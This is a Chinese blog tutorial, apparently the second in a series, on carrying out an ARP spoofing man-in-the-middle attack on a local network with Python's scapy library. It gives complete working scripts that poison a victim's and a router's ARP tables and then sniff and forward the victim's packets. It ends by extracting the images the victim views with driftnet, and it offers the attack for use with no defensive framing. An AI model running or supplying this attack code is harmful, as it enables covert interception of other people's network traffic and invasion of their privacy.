黑客-ubuntu下的scapy的ARP攻击(2)
程序员文章站
2022-04-07 17:33:52
...
前一篇文章介绍了如何攻击局域网内主机,让它无法上网http://blog.csdn.net/qq_35315699/article/details/73863632
具体语言是python,有c/c++语言基础的很快就能掌握
接下来我们来实现让被攻击主机依旧能上网,但数据包要从攻击者主机转发到路由器,这样我们就能获得被攻击者的所有数据包了
A机为被攻击主机 ip 192.168.1.106 mac 34:68:95:2a:51:01
B机为路由器 ip 192.168.1.1 mac a8:57:4e:32:02:ba
C机为攻击者主机 ip 192.168.1.109 mac a8:a7:95:4e:09:b3
原理:(默认大家已经理解ARP原理,这里就不讲了)
先通过前一章方法,将A机B机的路由表中的MAC地址换掉,都将对方的MAC地址换为C机的
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp,
sniff
)
def main():
p = Ether()/ARP()
p.hwdst = "34:68:95:2a:51:01"
p.pdst = "192.168.1.106"
p.psrc = '192.168.1.1'
p.hwsrc = 'a8:a7:95:4e:09:b3'
q = Ether()/ARP()
q.hwdst = "a8:57:4e:32:02:ba"
q.pdst = "192.168.1.1"
q.psrc = '192.168.1.106'
q.hwsrc = 'a8:a7:95:4e:09:b3'
while 1:
sendp(p,inter=1)
sendp(q,inter=1)
if __name__ == '__main__':
main()
这是python实现代码,使用前一章命令行方法也可以,我为了方便,写了一个文件
核心就是
#改变A机ARP表
p = Ether()/ARP() #构造一个ARP包
p.hwdst = "34:68:95:2a:51:01" #A机MAC地址
p.pdst = "192.168.1.106" #A机IP地址
p.psrc = '192.168.1.1' #B机IP地址
p.hwsrc = 'a8:a7:95:4e:09:b3' #C机MAC地址
#改变B机ARP表
q = Ether()/ARP()
q.hwdst = "a8:57:4e:32:02:ba"
q.pdst = "192.168.1.1"
q.psrc = '192.168.1.106'
q.hwsrc = 'a8:a7:95:4e:09:b3'
while 1:
sendp(p,inter=1)
sendp(q,inter=1) #每隔一秒发送
至此,你会发现,A机B机的ARP表的彼此的MAC地址都变为了C机的,这都是前一章的内容了http://blog.csdn.net/qq_35315699/article/details/73863632
接下来,就是本章的核心了,将C机接收到的A机和B机通信的包发给对方
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp,
sniff,
IP,
TCP,
Raw
)
def pack(packet): #对监听到的包进行处理
#如果源MAC地址为B机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为A机
if packet.src=="a8:57:4e:32:02:ba" and packet.dst=="a8:a7:95:4e:09:b3":
packet.dst = "34:68:95:2a:51:01"
packet.src = "a8:a7:95:4e:09:b3"
sendp(packet)
#如果源MAC地址为A机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为B机
elif packet.src=="34:68:95:2a:51:01"and packet.dst=="a8:a7:95:4e:09:b3":
packet.dst = "a8:57:4e:32:02:ba"
packet.src = "a8:a7:95:4e:09:b3"
sendp(packet)
def main():
sniff(filter="!arp and host 192.168.1.106",prn=pack) #用来监听目的ip或源ip为A机的包,接收到后,进入pac函数
if __name__ == '__main__':
main()
运行两份代码
这时,可以看见A机依旧能上网,通过wireshark可以看见A和B通信的包
通过
工具driftnet图片解析工具,
A机搜索
C机解析
至此,成功,不过,后面的数据包解析才是大工程
下一篇: 编程我该学前端、后端还是全栈?
推荐阅读
-
Ubuntu14.04服务器环境下配置PHP7.0+Apache2+Mysql5.7的方法
-
ubuntu系统下使用pm2设置nodejs开机自启动的方法
-
Ubuntu18.04下将Python2环境下的代码转化为Python3
-
Linux(Ubuntu)环境下Django2的环境配置及注意事项
-
Ubuntu下安装redis的2种方法分享
-
Ubuntu 环境下运行YII2框架的一些扩展
-
Ubuntu 环境下运行YII2框架的一些扩张
-
【笔记JS/HTML/CSS】ubuntu环境下的sublime text2 安装 zenCoding_html/css_WEB-ITnose
-
【笔记JS/HTML/CSS】ubuntu环境下的sublime text2 安装 zenCoding_html/css_WEB-ITnose
-
Ubuntu 环境下运行YII2框架的一些扩展,ubuntuyii2_PHP教程